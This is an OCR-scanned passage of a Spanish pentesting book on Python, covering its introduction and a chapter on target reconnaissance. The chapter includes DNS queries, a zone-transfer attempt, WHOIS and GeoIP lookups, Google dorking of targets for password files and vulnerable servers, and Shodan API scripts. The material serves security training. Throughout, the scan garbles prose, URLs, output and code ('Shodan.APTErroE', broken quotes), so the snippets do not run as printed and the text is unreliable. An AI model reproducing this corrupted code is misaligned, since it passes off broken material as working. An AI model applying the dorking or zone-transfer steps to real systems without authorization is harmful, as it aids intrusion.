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Introduccion

En los Gltimos afios, el término “hacker” ha sido bastante controvertido y se ha asociado a personas
gue utilizan herramientas v medios informdticos para realizar actividades delictivas. Esto ha dado
lugar a un temor generalizado sobre dicho colectivo y ha sido una situacion que desafortunadamente,
<¢ ha ido agravando con la ayuda de los medios de comunicacion convencionales los cuales no
suelen distinguir entre un delincuente y un hacker.

Seguramente los lectores de este libro entienden perfectamente la diferencia, sin embargo, hay
muchas personas que opinan que un delincuente y un hacker son exactamente lo mismo. Esto es
alzo lamentable, pero ain existen comunidades de usuarios que intentan conservar los principios
v la filosofia hacker con sus mejores herramientas: La informacion y el cenocimiento. Dichas
comunidades se encargan de publicar documentacion sobre temas relacionados con la seguridad
informética y desarrollan herramientas que pueden ser utilizadas para apoyar los procesos de
auditoria ejecutados por pentesters profesionales. El enfoque de estas comunidades, es proveer el
conocimiento v los medios necesarios para que un pentester pueda detectar cualquier tipo de fallo
antes que un atacante.

Uno de los principales objetivos de este libro, es exponer algunas de las téenicas utilizadas por los
stacantes en /nfernef para comprometer sistemas y posteriormente tener control total sobre dichas
maquinas. ;Por qué motivo? Porque para un pentester profesional. entender como piensa y actia un
astacante, €s muy importante para evitar o detectar intrusiones. Podria decirse. que la mejor forma de
aprender a defender efectivamente una aplicacién o un servicio, es conociendo el modo de actuar de
un adversario, aprendiendo sus técnicas y herramientas de uso comin para poder intentar anticiparse
v tomar las medidas preventivas oportunas. Esto se conoce como seguridad ofensiva y esunen foque
muy potente, ya que le permite a un penfester tener una vision global sobre las técnicas que pueden
ser utilizadas para comprometer un sistema y las medidas defensivas que deben adoptarse.

Por otro lado. muchas de las herramientas v librerias cuyo enfoque se centra en la seguridad
informética. se encuentran escritas en lenguaje Python y la principal razén de esto, es debido a que
Python ha sido un lenguaje utilizado mayoritariamente por frackers, los cuales prefieren lenguajes
de programacién sencillos y potentes: Python cumple con ambos requisitos.

Algunas de las herramientas y librerias mas destacadas hoy en dia y que se encuentran ¢scritas en
lenguaje Python se listan a continuacion:

- Seapy.
- Sulley Framework.




“_ Python para Pentesters

. PyDBG.

- Cuckoo Sandbox.

- Volatility Framework.
- W3AFE

- Paramiko.

-  Mechanize.

- BemuifulSoup.

- Python-nmap.

- Stem.

- Twisted.

- Pamei.

- Vel Framework.

- SET (Social Engineering Toolkir).

En el listado anterior. solamente se incluyen algunas de las librerias y herramientas mas conocidas en
lenguaje Pyifion, sin embargo existen muchas més que no se han listado y que han tenido un impacto
muy positive en la forma en la que se crean y auditan algunas de las aplicaciones y protocolos de
USO COmimn.

La potencia v simplicidad de Python, le convierte en un lenguaje de programacion ideal para crear
pruebas de concepto ripidas que permitan estructurar una idea y posteriormente demostrarla.
Ademas, ha sido un lenguaje del que se ha hablado muchisimo y que han recomendado hackers y
personas con mucho renombre en el campo de la seguridad informatica desde hace varios afios, un
ejemplo claro se encuentra en el documento de Eric 5. Raymond titulado “How io become a Hacker”
(Como convertirse en un Hacker) en el que habla sobre la filosofia, la cultura v los principios
psicolégicos mas destacados en los Hackers. En uno de los apartados de dicho documento, habla
sobre las habilidades que desarrolla un hacker en su proceso de aprendizaje continuo y menciona
lenguajes como Pythen y C para crear programas con fines centrados en la seguridad informatica v
el Hacking. Dicho documento, se encuentra disponible en la sigwente ruta:
tip:/wwwcath.org/~esrifags/hacker-howto Inml y se recomienda su lectura.

Aungue muchas de las herramientas y librerias desarrolladas en Pyihon enfocadas a la seguridad
informdtica. tienen como objetive apoyar los proceses de pentfesting para encontrar y corregir
vulnerabilidades. evidentemente, también han sido utilizadas por atacantes para detectarlas y
explotarlas, por este motive es importante contar con los conocimientos necesarios para anticiparsc
a las acciones potencialmente peligrosas de los atacantes en fnternet. Un buen pentesier y en general,
cualquier persona que se dedique profesionalmente a la informética. preferiblemente deberia saber
programar para crear sus propias utilidades o ayudar a corregir fallos en herramientas existentes.

Por otro lado, es importante resaltar que la intencién de este libro es ayudar al lector a afinar sus
habilidades en programacion con Python y proveer los conocimientos necesarios pard entender
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las principales técnicas utilizadas por delincuentes en [nternet. Mo s¢ trata de un manual para
cometer delitos informéticos, sino todo lo contrario, para intentar prevenirlos y alertar sobre sus
consecuencias.

La mejor forma de aprender a proteger cualquier recurso informitico, consiste precisamente en
aprender a pensar como lo hace un atacante para conseguir anticiparse. Tal como decia Sun Tzu en
“El arte de la guerra™ “Si conoces a tu enemigo y te conoces a ti mismo, ni en cien batallas correrds
peligro: si no conoces a tu enemigo, pero le conoces a ti mismo, perderds una batalla y ganaras otra;
si no conoces a tu enemigo ni te conoces a ti mismo, correrds peligro en cada batalla™

Tienes en tus manos un documento que ha sido el resultado de varias horas de esfuerzo y dedicacion,
el cual espero que utilices de forma responsable en un entorno controlado y con la autorizacion
correspondiente segiin sea el caso. No es mi intencion proporcionar una guia para delincuentes, sino
un documento para profesionales y entusiastas de la seguridad informatica que les guste programar y
afinar sus conocimientos, una guia para personas que les gusta saber como funcionan las cosas y que
se encuentran en un proceso continuo de aprendizaje. Es un libro que espero que sea de tu agrado,
gue te aporte conocimientos y te ayude a desarrollar herramientas que luego puedas compartir con
woda la comunidad hacker.

Saludos v Happy Hack!!

Adastra. (@jdaanial)
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Capitulo . Recoleccidn de Informacion y Escaneo

Capitulo I
Recoleccion de Informacion y Escaneo

1.1 Lainformacion es la base en el mundo del hacking

En la era digital ¥ con el inmenso auge de herramientas, tecnologias y avances, no cabe duda que
una de las mejores armas que tienen los profesionales de la seguridad informatica es precisamente
la informacion y el sentido comin. Sin embargo, uno de los retos mas complejos a los que nos
enfrentamos hoy en dia, es determinar qué informacion es relevante y cudl representa simplemente
datos sin trascendencia. El caso de los administradores de sistemas, es un claro ejemplo de esta
situacidn, se trata de profesionales que tienen que enfrentarse diariamente a enormes ficheros de
logs, alarmas de sistemas de registro y deteccion de intrusiones, entre muchas otras cosas. Para ellos
su pericia, capacidad de analisis y criterio, son los elementos que realmente puede hacer la dilerencia
entre un sistema seguro y uno comprometido. Por otro lado, un atacante se enfrenta exactamente al
mismo reto, su capacidad de extraer y procesar informacion sobre el sistema objetivo, es vital para
pader encontrar cualguier tipo de fallo o fuga de informacion sensible, su capacidad de recopilar y
utilizar la informacion que obtiene sobre su objetivo es lo que le permite alcanzar sus propositos.

Ademas de lo anrerior, cuando se habla de la anatomia de un atague y de seguridad ofensiva.
la recopilacidn y andlisis de informacidn es un proceso transversal que se debe mmplementar en
todas las etapas, desde el reconocimiento inicial del objetive hasta las etapas finales que consisten
principalmente, en limpiar rasiros y crear puertas traseras para intentar garantizar accesos futuros.

Dicho esto y sin perder de vista el contexto de este libro, en Python existen una gran variedad de
herramientas v librerias que permiten extraer informacién para realizar actividades de reconocimiento.
Los siguientes apartados detallaran algunas de las mds comunes y utilizadas para la recoleccion y
categorizacion de informacion.

1.2 Definicion del sistema objetivo

Desde el punto de vista de un atacante, una vez se ha definide cudl serd el sistema objetivo, lo
primero es intentar delimitar los puntos principales de acceso y la informacion que se encuentra
disponible de forma plblica. En esta etapa inicial, puede resultar atil para un atacante, cualguier tipo
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de informacidn que le permita entender las actividades del objetivo. Por ejemplo. en el caso de que
sea una organizacion, es vital recopilar informacién relacionada con sus empleados, ubicacidn de
oficinas. las actividades a las que se dedica, organigramas, clientes, etcétera. Todos estos detalles son
muy importantes para un atacante a la hora de planificar sus actividades y dada la naturaleza phblica
de dicha informacion, puede ser utilizada por cualquiera.

Ahora bien, desde el punto de vista de un pentester profesional que ha sido contratado para auditar
las medidas de seguridad de una organizacion, es muy importante delimitar adecuadamente el
alcance de sus actividades y obtener por escrito, una autorizacion firmada indicando concretamente
las actividades que sc pueden [levar a cabo. Ese tipo de documentos son muy importantes ya que le
permiten & un penfester realizar ataques controlados en un contexto legal y legitimo.

1.3 Recoleccion de Informacion con Python

Automatizar el proceso de recoleccion de informacidn puede conseguirse utilizando las librerias
incluidas directamente en el lenguaje, asi como algunas de las disponibles por terceros. A continuacion
se detalla el uso de algunas de las mas dtiles para cumplir con este objetivo.

1.3.1 Extraer informacion en servidores DNS utilizando DNSPython

Con esta libreria es posible realizar consultas a servidores DNS del mismo modo que es posible
hacerlo con herramientas como dig, fierce o nsfookup, con la ventaja de que el resultado de las
consultas se puede controlar desde Pyrhan y posteriormente dicha informacidn puede ser utilizada
para distintos fines directamente desde un seripr. El sitio web oficial de esta libreria es el siguiente:
htiprfwawdnspython.orgy.

Para instalarla, solamente es necesario ejecutar el script sefup.py con el argumento install,
§ Python setup.py install

Ahora, se pueden realizar diferentes tipos de consultas que permitiran obtener informacion sobre un
dominio concreto.

gpython

Python 2.6.6 (r266:84292, Dec 26 2010, 22:31:48)

(GCC 4.4.31 on linux2

Typa “help”, “copyright®, “credits” or “license” for mora information.

22> import dns

x> Aimport dne.rezalver

>>>aNSA, ansMy, ansNs, ansAAAk=(dns . resolver . query (‘gocgle.com’ , "A’ )  dns.resolver.
query( *google.com’ , fMX*) ,dns.resolver.query ( ‘google.com’, “HS'), dns.rasclver.
auery( *google.com”, “RBAAT))

Frx print ansh.response.to taxt ()

id 53947

cpocode QUERY
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roocde NOERRCR
flags QR RD BA
sQUESTION
google.com. IN A
FAMEWER

google.com. B3 IN A 173.194.34.200
google.com. B3 IN A 173.194.34.201
google.com. B3 IN A 173.194.34.198
google.com. 63 IN A 173.1594.34.196
google.com. 63 IN A 173.194.34.194
google.com. 63 IN A 173.194.34.192
google.com. 63 IN A 173.194.34.197
googlé.com. &3 IN R 173.194.34.193
google.com. B3 IN A 173.194.34.195
gocgle.com. 63 IN A 173.194.34.199
google.com. 63 IN A 173.194.34.208
sAUTHORITY
sADDITIONAL

Jpzint ansMX.response.to cext()
id 46859

cpcode QUERY

roode NOERROR

fiags QR RD RA

sQUESTION

google.com. IN MX

FANSHER

google.com. 99 IHN MK 10 aspmx.l.google.com.
google.com. 99 IN MK 20 altl.aspmx.l.google.com.
google.com. 9% IN MX 50 altd.aspmx.l.google.com.
google.com. 99 IN MX 40 alt3.aspmx.l.google.com.
google.com. 99 IN MX 30 altZ.aspmx.l.google.com.

sADDITIONAMAL

altl.aspmx.l.google.com. 50 IN A 173.194.70.26

altl.aspmx.l.google.com. 47 IN AARA 2a00:1450:4001:c02::1b

altd.aspmx.l.google.com. 105 IN A 74.125.25.286

alc3.aszspmx.l.google.com. 102 IK A 74.125.143.26

alt?. aspmy.l.google.com. 1B0 IN A 173.194.69.286

alt?. aspmy.l.google.com. 259 IM ARAR Za00:1450:4008:c01::1b

aspomy.l.google.com, 119 IM A 173.194.66.27
Jﬁ;cint ansNS.response.to_text()

2d 8360

opcode QUERY

roeade NOERROR

Sags QR RD RA

SOUESTION

google.com. IN HS

sANSWER

google.com. 194408 IN H5 asiZ.google.com.

google.com. 194408 IN WS ns3.google.com.

googla.com. 194408 IN NS nsd.google.com.

googla.com. 194408 IN M5 nsl.google.com.

sAUTHORITY
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;ADDITICHAL

nsld.google.com. 1920865 IN A 216.239.36.10
nad.google.com., 192066 IN A 216.239.38.10
nal.google.com. 191898 IN A 216.239.32.10
nad.google.com. 191940 IN A 216.239.34.10
> prin: ANSARRA ., FESPONSE. 'E:G_L'.G.Ht. (]

id 38370
opcode QUERY
roode NOERROR
flags QR RD RA
JOUESTION

google.com. IN AAM

; AMSHER

google.com. 232 IN ARRA 2a00:1450:4003:801::1001
F AUTHORITY

rADDITIONAL

En este caso se ha utilizado DNSPyihon para ejecutar consultas sobre vanios tipos de registros DNS,
en concreto sobre los registros IPVA (d), IPVE (AAAA), Nameservers (N5) y MailServers (MX).

Ademas de extraer este tipo de informacion, otra prueba bastante comin contra servidores DNS, es
intentar realizar una transferencia de zona, que consiste en permitir a un servidor DNS secundario
actualizar su base de datos de zona a partir de un servidor DNS primario. Se trata de una caracteristica
que permite a un servidor DNS secundario (o espejo) garantizar la disponibilidad del servicio cuando
¢l servidor DNS principal no puede atender més peticiones o se encuentra caido. Cuando un servidor
DNS no se encuentra correctamente configurado puede proveer una copia completa de sus registros
a cualguiera que lo solicite, permitiendo de esta forma, la divulgacion de informacion sensible que
no deberia ser expuesta de forma publica.

>»>>» import dns.guery

>>> import dns.Zone
>>> zone = dns.zone.from xfri{dns.query.xfr(*173.194.34.192°, ‘*thehackerway.com’))

En este caso, se intenta realizar una transferencia de zona entre el servidor DNS principal v un
dominio controlado por el atacante. En ¢l caso de que el servidor no se encuentre correctamente
configurado, la transferencia de zona se realizarda correctamente v en ¢l dominio del atacante se
almacenari una copia de los registros del servidor DNS principal.

1.3.2 Ejecutar consultas WHOIS con pythonwhois

Aungue para los mas nedfitos farerner puede parecer una red carente control y completamente
descentralizada, la realidad es que existen organizaciones que se encargan de gestionar la
interoperabilidad de los sistemas que funcionan en la red e intentan prevenir los conflictos que
puedan producirse con las direcciones [P, asi como también la gestion de los nombres de dominios,
parimetros de protocolos como DNS v nameros de puertos. Este tipo de funciones son llevadas
a cabo desde hace varios afios por una organizacion sin animo de lucro compuesta por empresas,
universidades y comunidades de usuarios llamada JCANN (Internet Corporation for Assigned Names
and Numbers). Aunque antiguamente estos detalles técnicos eran gestionados completamente por
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=l gobierno de los Estados Unidos de América con la JANA (Internet Assigned Numbers Authority)
en la actualidad dichas actividades son ahora supervisadas v coordinadas por la /CANN. De hecho,
I4ANA es ahora un departamento complementario de la JCANN.

Aungue los servidores centrales de la JCANN realizan actividades de gestion sobre dominios,
direcciones /P, servidores, entre otras cosas, la informacion necesaria para resolver direcciones y
Zominios se encuentra diseminada por Interner en miltiples servidores WHOIS.

WHOIS es un protocolo que permite realizar consultas con el fin de obtener informacion detallada
sobre el propietario de un dominio, fechas de creacion y caducidad, teléfonos de contacto ¢ incluso
direcciones y codigos postales. Desde luego es una muy buena fuente de informacién para un
atacante y un punto de inicio adecuado para perfilar un objetivo. Realizar consultas whois es un
srocedimiento bastante trivial en sistemas basados en Unix ¢jecutando utilidades por la linea de
comandos, sin embargo existen una gran variedad de servicios en fnternet que permiten consultar
los registros wheis para un dominio determinado, por ejemplo: http://whois.net/.

No obstante, para un atacante ¢s conveniente tener toda esta informacion en estructuras de datos que
puedan ser utilizadas posteriormente desde un seripr. Es aqui donde es posible utilizar la libreria
pythonwheis que permite realizar consultas wheis contra un dominio concreto y posteriormente
almacenar los resultados en una estructura de datos consistente y ficil de utilizar. Esta libreria puede
ser descargada desde el packet index de Python en la siguiente direccion: hittps:dpypi.python.org/
pvpi/pyvthonwhois.

El procedimiento de instalacion de esta libreria. como muchas otras disponibles en Python, consiste
simplemente en ejecutar el script sefup.py con el argumento install,

# Dycthon setup.py install

Una vez instalada la libreria, es posible importar el moédulo principal que permite emplear las clases
v utilidades necesarias para realizar consultas.

hon 2.6.6 (r266:84292, Dec 26 2010, 22:31:48)
L

By
[GCC 4.4.5) on linux?d
ype “help”, "“copyright”, “creditas” or “license™ for more information.

imoort pythonwhois

Ahora, se puede utilizar la APf de pyrthonwhois para extraer informacion desde cualquier seripr en
Pyihon.

>»> pythonvhois.net.get_root_ server(‘google.com’)

‘whols.verisign-grs.com’

=% wholsg pythonwheois.get wheois{'google.com’)

>»> whois. keys (]

[*status’, “updated date’, ‘contacts’, 'nameservers’, ‘explration_date’, 'crea-
tion date’, ‘raw’, “wholsz server’, ‘registrar’, ‘emalls’ |

>2>>» whois.values ()

[[*clientUpdateProhibited”, ‘*clientTransferProhibited’, ‘clientDeleceProhlibi-
ed’ ), [datetima.datetime{2013, 12, 6, 8, 17, 22)]1., {‘admin': {‘city’: *Moun=-
ain View’, ‘fax’: *+1.6506188571", ‘name’: “‘DNS Admin’, ‘state’: ‘CA', ‘phone’:
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—

*+1.6506234000', ‘“street’: “1600 Amphitheatre Parkway’, ‘country’: ‘US’, ‘postal-
code’: *94043°, ‘organization”: ‘Google Inc.’, ‘email’: ‘dns-admin@google.com’ }.
*tech”: {‘city’: ‘Mountain View’, “fax’: "+1.6506181499°, ‘name’: “*DMS Admin’

Con la funcién pwthonwhois.net.get_root_server() es posible recuperar el servidor raiz pars

dominio determinado y con pythonwheis.get wheis() un diccionario con toda la informacién
el dominio.

El el caso de que sea necesario obtener la respuesta cruda, es posible ejecutar la funcién pythonw
get_whois_raw() la cual retorna toda la informacion sobre un dominio especifico en una lista
respuestas, donde cada elemento de la lista, corresponde a cada uno de los servidores WH
consultados.

»>>> import porint

2> whois_raw = pythonwhois.net.get whois raw(“google.com”)

»>>> pprint.pprint(whois_raw)

[“Domain Name: google.com\nRegistry Domain ID: \nRegistrar WHOIS Server: whois.
markmonitor.com\nRegistrar URL: http://www.markmonitor.com\nUpdated Date: 2013-138
06T08:17:22-0800\nCreation Date: 2002-10-02T00:00C:00-0700\nRegistrar Registratice
Expiration Date: 2020-09-13T21:00:00-0700\nRegistrar: MarkMonitor, Inc.\nRegiscs
IANA ID: 292\nRegiscrar

La informacion que se puede recolectar de los servidores WHOIS es muy variada v en todos
casos, sumamente informativa para un atacante.

1.3.3 GeoLocalizacion del objetivo con PyGeolP

Los S/G (Sistema de Informacion Geogrifico) han sido utilizados desde hace algunos afios
localizar un punto determinado en un espacio geogrifico. Esta tecnologia también ha perms
relacionar direcciones /F piblicas con redes de datos y localizaciones concretas en todo el mu

En la actualidad existen bases de datos disponibles de forma pablica, que asocian millones
direcciones [P de servidores en Infernet con el pais v la ciudad donde se encuentran. Para un at
el uso de dichas bases de datos supone una forma de validar la informacién que ha podido recol
con las consultas WHOIS realizadas previamente o de complementar el conocimiento ya dis
sobre el objetivo.

La libreria PyGeolP es en realidad un envolterio de la libreria geo-ip-¢ que permite enc
informacion geogrifica a partir de una direccion /P determinada. Dicha libreria depende directa
de las bases de datos Geolite las cuales son actualizadas frecuentemente y pueden ser desca
libremente desde su sitio web oficial htp:/dev.maxmind. com/geaip/legacy/geolite/.

PyGeolp se puede descargar desde su repositorio GITen htips:/Vgithub.com/appliedsec/pygeoip.
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Del mismo modo que se ha indicado anteriormente para otras librerias, si se desea instalar pveeoip
solamente es necesano ejecutar el scrips setup.py con el argumento install,

Una vez instalada, es necesario descargar las bases de datos Geolire que pueden ser Couniry,
Country IPvo, City, City IPv6, ASN y ASN [Pvo.

fpython

Pychon 2.6.6 (r266:84292, Dec 26 2010, 22:31:48)

[GCC 4.4.5)] on linux2

Typa “help”, “ecopyright”, “ecredits”™ or "licensa”™ for more infarmation.
>>> import pygeoip

*>>> import pprint

>>> gl = pygeolip.GeolP(‘Geolitelity.dat’)
=»> gl.country code by name(‘google.com’)
s

1y

»»> pprint.pprint (gi.record by addr(*173.194.34.192"))
{area_code’: 650,

*eity’ : u'Mountain Viaw’,

‘continent’: ‘HA’,

‘country code’: ‘US’,

‘country coded”: “USAT,

‘country name’ : *United States”,

‘dma_code’: 807,

‘latitude” : 37.419199999999989,

‘longicude’ : =122.0574,

‘metro_code’: “San Francisce, CA’,

‘postal_code’: u'94043°,

*region_code”: u'CA",

“time zone’: “America/Los_ Angeles® )
»>»> gil.country name by addr(*173.194.34.1927))
‘United States’
»>»> gi.time_zone_by addr('173.194.34.13927)
*america/Los_Angeles’

Como se puede apreciar, utilizando la base de datos GeoLireCityv.dat es posible extraer informacion
muy valiosa si tenemos la direccion /P o ¢l nombre de dominio del objetivo,

Las otras bases de datos disponibles también deben ser consideradas, ya que contienen informacion
valiosa que puede ser muy atil para un atacante.

»>> givé = pygecip.GeoIP{ *‘GaolPve.dat”

»>»> givé.country coda by addr(*2a00:1450:400£:802::10067)

- 3 qqu,ﬂquﬂ::y_namgﬁhy_addrt'Eaﬂﬂ:iﬁEG:ﬂBﬂH:Bﬂi:::ﬂﬂl’}

*Ireland’

>>x gihsn = pygecip.GeclP ([ "GecIPASHum.dat”)

»>»> glhAsn.isp Dy name [ "‘google.com’ )

p' AS15169 Google Inc.”

Alternativamente, también existen mualtiples servicios onling que permiten obtener este tipo de
informacion como es el caso de htip:mvip.es! o hip:wwwmelissadata.comfookups/iplocation.

asp.
HE R
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En dichos servicios es posible obtener informacién bastante fiable sobre la localizacion geogrifica de
un servidor en funcién a su direccién [P, no obstante, dicha informacion se ensefia directamente ¢n
el navegador y para un atacante puede resultar interesante obtener dicha informacion directamente
en sus scripfs en Python. Para ello, puede utilizar algunas de las librerias disponibles para extraer
informacion desde piginas web tales como Mechanize y BeautifulSoup.

1.4 Utilizar motores de busqueda para recolectar
informacion sobre un objetivo

Los motores de busqueda como Google, Yahoo! o Bing, suelen indexar muchisima informacion
sobre organizaciones y dominios. Dicha informacion en muchos casos no deberia ser expuesta
de forma pablica y tales fugas pueden beneficiar enormemente a un atacante a la hora de perfilar
victimas potenciales,

1.4.1 Google Hacking

Ademas de ser uno de los motores de blisqueda mas utilizado en todo el mundo, es también una
herramienta muy Gtil para encontrar informacion concreta sobre sitios web en Interner. Una de las sus
principales caracteristicas, es que cuenta con una serie de operadores que permiten hacer bisquedas
muy especificas. Lo que hoy en dia se conoce como Google Hacking fue inicialmente introducido
por Johnny Long, quien ha sido uno de los principales investigadores en ¢l campo de recoleccion
de informacién utilizando Google. Sin embargo. su evolucion ha sido bastante interesante, hasta ¢l
punto que el proceso de biisqueda y recoleccion se encuentra ahora automatizado por herramientas y
bases de datos con cadenas de bisqueda que permiten localizar objetivos vulnerables rdpidamente.

Es posible que en un sitio web determinado existan fugas de informacién sensible y esa informacion
puede ser capturada y almacenada por Google, algo que hoy en dia es bastante conocido v
aprovechado por usuarios maliciosos en [nfernet. Para controlar los resultados que pueden arrojar las
bisquedas de Google, es necesario conocer el funcionamiento de algunos de los filtros disponibles
a la hora de realizar consultas. A continuacion se listan algunas de las palabras reservadas que
permiten establecer dichos filtros.

Operadores en Google.

Operador Descripeion Uso Resultado
o o Buasqueda de la cadena
Permite indicar el sitio . - _ " s 3
i crabeEkre b dul site:secritvfocus.con exploit XP SP2" en ¢l
e 23 4 T .
. exploit XP 5P2 sitio

realizara la basqueda.

".ﬁ'::{:mﬂ'_]._‘fuc'h‘.'.'. ot
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Operador Descripeion Uso Resultado

Bisqueda de paginas
wel que conlengan en su
titulo el texto

“FreePBX 2.10.0r°

Busca un texto
intitle determinado en el titulo | intitle: FreePBX 2. (0.0
de la pagina.

Con este operador

s¢ pueden filar los Bisqueda de paginas
resultados de una wel que contengan
basqueda, ensefiando : . en su URL el texto

q site:securifyjorns.com B

inmrf solamente aquellas . Wk hid” filtrando por las

o : inuri:bid kernel 2.6 & u i

coincidencias que palabras “kernel 2.6 y
contengan en la URL para ¢l sitio web
el texto indicado en ¢l sectirinfocus.com
operador.

Busqueda de cualguicr
sife:www largel.com documento POF en el
ext.paf dominio

wwwL larget.com

Permite buscar
o documentos con una
extension determinada.

Fstos son solo algunos de los operadores disponibles para hacer blisquedas en Google, sin embargo,
como se ha comentado en lineas anteriores, actualmente existe una base de datos bastante completa
de Google Dorks llamada Geogle Hacking Darabase.

GHDR es un repositorio bastante completo de google dorks y puede encontrarse en el siguiente
enlace: hrp:/fwww.exploit-db.com/google-dorks/. Una de las ventajas de csta base de datos, es que
todos los dorks se encuentran ordenados por categorias, lo que permite filtrar facilmente aquellos
que puedan resultar interesantes para un objetivo determinado. Las categorias que comprende la
nase de datos son:

- Footholds. - Ficheros con nombres de usuarios.

- Directorios sensitivos. -  Deteccion de Servidor web.

- Ficheros vulnerables. - Servidores vulnerables.

- Mensajes de error. - Ficheros con informacion interesante.

- Informacion sensitiva sobre silios de compra

- Ficheros con passwords. :
online.

- Pdginas de logir a portales. - Informacién de dispositivos de red.

Como se puede apreciar, existe una gran cantidad de filtros en esta base de datos de dorks, pero
st no es todo, también existe una herramienta para la generacion de dorks contra un objetivo
determinado v de esta forma se pueden ejecutar ataques dirigidos contra un objetivo concreto,
Scha herramienta es googlel)B-tool y se encuentra disponible en la siguiente direcciom: Ap./7
www secpoint.com/freetools/. La Gltima version a la fecha de escribir este documento es la 1.5 y
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permite generar listas de cadenas de blsqueda para google que pueden ser utilizadas para encontrar
informacién interesante o incluso vulnerabilidades en el sistema objetivo. Cuenta con una pequefia
base de datos interna que consiste simplemente de un listado de ficheros con google dorks y todos
estos ficheros se encuentran almacenados en el directorio “db™ ubicado en el directorio raiz de la
herramienta. En dicho directorio se pueden incluir nuevos ficheros con dorks que correspondan a
una categoria distinta a las existentes. Si se une esta herramienta con los dorks existentes en Google
Hacking Database, ¢l resultado puede ser muy interesante a la hora de realizar ataques dirigidos.

Después de descargar y descomprimir el paquete donde se encuentra la herramienta, ¢s posible ver
las opciones que soporta y algunos ejemplos de su uso.

python googleDB=-tool.py =h

Usage: googleDB-tool.py <sourcefile> [-z site] [-g] [-t] [-f outiile]
Opticns:

==version show program’s wversion number and exit

-h, ==help show this help message and exit

=5 FILE, =—output=FILE
save output to fiile
-3 SITE, =--site=SITE generate gueries for the SITE

-m LISTFILE, -—-multiple=LISTFILE
generate queries for multiple sites listed in LISTFILE
-3, ==gQuery generate google query urls for each line
-t, ==html generate ocutput in HTML format (implies -q)
SecPoint.com Google Penetration Testing Hack Database v. 1.5

El siguiente ejemplo, enseia el uso de la herramienta y genera un fichero de texto llamado “salida.
i con algunos google dorks para encontrar paginas de login en el dominio “www.objetivo.com™.
Por otro lado, el fichero “login_pages.ixt” se encuentra en la base de datos que utiliza la herramienta
bajo el directorio “db™ mencionado en parrafos anteriores.

python googleDB-tool.py "login_pages.txt” =-o sallida.txt -3 WWW. objetivo.com

El siguiente ejemplo es bastante similar al anterior, con la diferencia que permite generar google
dorks en base al fichero “network_or vulnerability_data.ex” el cual contiene cadenas para buscar
dispositivos y elementos de red vulnerables en ¢l objetivo especificado.

python googleDB-tool.py “network _or wvulnerability data.txt” -o salida.txt =5 wWww.
cbjetivo.com

También es posible utilizar un fichero de texto para especificar maltiples objetivos.

python googleDE-tool.py “network or vulnerability data.txt” -o salida.txt -m obje-
tives.txe

1.4.2 Shodan Hacking

Shodan (htip:/fwww.Shodanhg.con) es conocido como “el Google de los hackers™ y no es para menos,
ya que se trata de un potente motor de bisquedas que permite encontrar servidores y dispositivos
en Internet que ejecutan servicios muy concretos. A diferencia de los buscadores convencionales,
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Shodarn se encarga de indexar en su base de datos interna, las cabeceras y banners correspondientes
a servidores que se encuentran en ejecucion en fnrerret v que han sido indexados en la base de datos
de Shodan. Del mismo modo que navegadores como Gaeogle, Shodarn cuenta con una serie de filtros
que permiten restringir los resultados de las consultas y algunos de los mas populares. se listan en
la siguiente tabla.

Filtros en Shodan

Filtro Descripeion
e En los resultados de la biisqueda, solamente aparecerin aquellos que corresponden con
; 12 cindad indicada.
ey En los resultados de la bisqueda, solamente apareceran aquellos que corresponden con
’ ¥ ' .
il el pais indicado.
- Permite encontrar los dispositivos que se encuentran en el radio definido por la latitud ¥
& longitud especificada.
En los resuliados de la bisqueda, solamente aparecerin agquellos que corresponden con
fastname S B
¢l nombre de dominio indicado.
net Permite realizar blisquedas dirigidas a segmentos de red concretos.
0k Permite filtrar los resultados con un sistema operativo determinado.
port Permite filtrar los resultados con un puerto determinado.

Se trata de una lista no exhaustiva y en la medida de que Shodan va creciendo, ¢l niamero de filtros
puede ser mayor, con lo cual, se anima al lector a leer la documentacion oficial donde se incluyen
los filtros soportados a la fecha www.Shodanhg.comMelp/filters. Por otro lado, una caracteristica
gue convierte a Shodan en una herramienta imprescindible para un atacante o un pentesier, 65 que
cuenta con una A Pf que permile que desarrelladores en lenguajes de programacion como Ruby, Perl
v Python, puedan utilizar Shodan de forma programatica, algo que desde luego resulta sumamente

sl

®ara utilizar la AP/, es necesario tener una cuenta de usuario valida y de esta forma oblener una
Developer Key. El uso de las caracteristicas basicas de Shodan no supone mingun coste para un
desarrollador, sin embargo existen add-ons que incluyen caracteristicas muy interesantes, como
sor gjemple la capacidad de realizar bisquedas especificas para servicios como Telner o HTTFPS.
seoeso a todos los filtros disponibles desde la AP/ y acceso sin restricciones a los resultados de las
somsultas. Se trata de caracteristicas que no son nada despreciables y que pueden ser adquiridas por
am costo muy bajo.

Deescargar e instalar la libreria de Shodan para Python sigue el mismo patron que muchas de las
Semerias disponibles para este lenguaje. Es posible hacerlo utilizando easy install o directamente
secwsando el seript setup.py con el argumento install. Instrucciones mas detalladas sobre el proceso
L= m=talacion se pueden encontrar en la documentacion oficial: hups://Shodan.readthedocs. orgfen/
e twtorial hrmi#installation.
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El uso més basico de la AP! de Shodan para Python consiste en crear una instancia de la clase
Shodan. Shodan cspecificando como unico argumento una Developer Key vilida que se encuentra
asociada a una cuenta de usuario.

Script: ShodanSimpleSearch.py

f!/usc/binfenv python
import Shodan
def ShodanTest{):
tEy:
ShodanKeyString = ™API KEY"
Shodanhpl = Shodan.Shodan({ShodenBEeyString)
results = Shodanhpi.search(™apache™)
for result in results{‘macches’]:
print “IP: %s" % result(*ip_str']
print result([*data”]
print ™
except Shodan.APTErroE, e:
print ‘Error: %a" & e
if nama__ == “_ main_ ":
ShodanTest [}

Con el script anterior, se utiliza la AP/ de Shodan para buscar por la palabra clave “apache™ y
posteriormente se pintan todos los resultados por pantalla. En este caso, s utiliza la funcion search
que permite realizar cualgquier tipo de busqueda, incluso empleando los filtros disponibles en Shodn.

Por otro lado, tal como se mencionaba anteriormente, la 4P/ permite realizar varios tipos de
bisquedas, pero existen algunas limitaciones que restringen ¢l nimero total de resultados retornados
v el uso de protocolos como HTTPS y Telnet. Para saber las limitaciones que tiene una cuenta
concreta a la hora de utilizar la API v los add-ons que tiene habilitados, se utiliza la funcién info

Seripr: ShodanDeveloperKeyInfo.py
#! fusr/bin/anv pyLion

impert Shodan

def ShodanTest{) :

trys:
ShodanKeyString = “API_KEY"
Shodanfpi = Shodan.Shedan (ShodanKeySEring)
infe = Shodanapi.info({)

for inf in info:

print “%a3: %s %{inf,. infolinf]l}

except Shodan.APIError, #
print “Errcorc: %3" & e
if __ name == ™ main__":

EhodanTest ()

En este caso, se pintan por pantalla los detalles de configuracion relacionados con la cuenta de
